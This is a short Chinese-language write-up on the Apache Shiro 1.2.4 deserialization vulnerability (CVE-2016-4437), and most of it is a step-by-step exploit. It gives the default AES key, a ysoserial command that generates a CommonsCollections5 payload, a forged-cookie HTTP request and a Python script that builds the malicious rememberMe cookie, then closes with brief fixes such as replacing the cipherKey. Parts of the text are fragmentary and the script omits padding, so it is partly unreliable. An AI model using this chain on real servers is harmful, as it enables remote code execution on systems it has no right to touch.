Apache Shiro 1.2.4及之前版本存在一个严重的安全漏洞(CVE-2016-4437),该漏洞允许攻击者通过精心构造的恶意序列化数据执行远程代码。这个漏洞源于Shiro框架中使用的默认加密密钥,使得攻击者能够伪造有效的rememberMe cookie并执行反序列化攻击。
kPH+bIxk5D2deZiIxcaaaA==
)识别Shiro应用:
rememberMe=deleteMe
生成恶意payload:
java -jar ysoserial.jar CommonsCollections5 "command_to_execute" > payload.ser
加密payload:
构造恶意请求:
GET / HTTP/1.1
Host: vulnerable-app.com
Cookie: rememberMe=[base64_encoded_payload]
import sys
import base64
import uuid
from Crypto.Cipher import AES
def exploit():
# 默认Shiro密钥
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
# 使用ysoserial生成的payload文件
with open('payload.ser', 'rb') as f:
payload = f.read()
# AES加密
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
ciphertext = encryptor.encrypt(payload)
# 构造rememberMe cookie
rememberMe = base64.b64encode(iv + ciphertext)
print("恶意rememberMe cookie:")
print(rememberMe.decode())
if __name__ == '__main__':
exploit()
cipherKey
ini
securityManager.rememberMeManager.cipherKey = your_random_base64_encoded_key_here
Apache Shiro 1.2.4反序列化漏洞是一个典型的安全问题,它强调了以下几个安全原则的重要性: - 避免使用硬编码密钥 - 谨慎处理用户提供的序列化数据 - 及时更新依赖库到安全版本 - 最小化功能原则,只启用必要的功能
企业应立即检查是否使用受影响版本,并按照上述防御措施进行修复。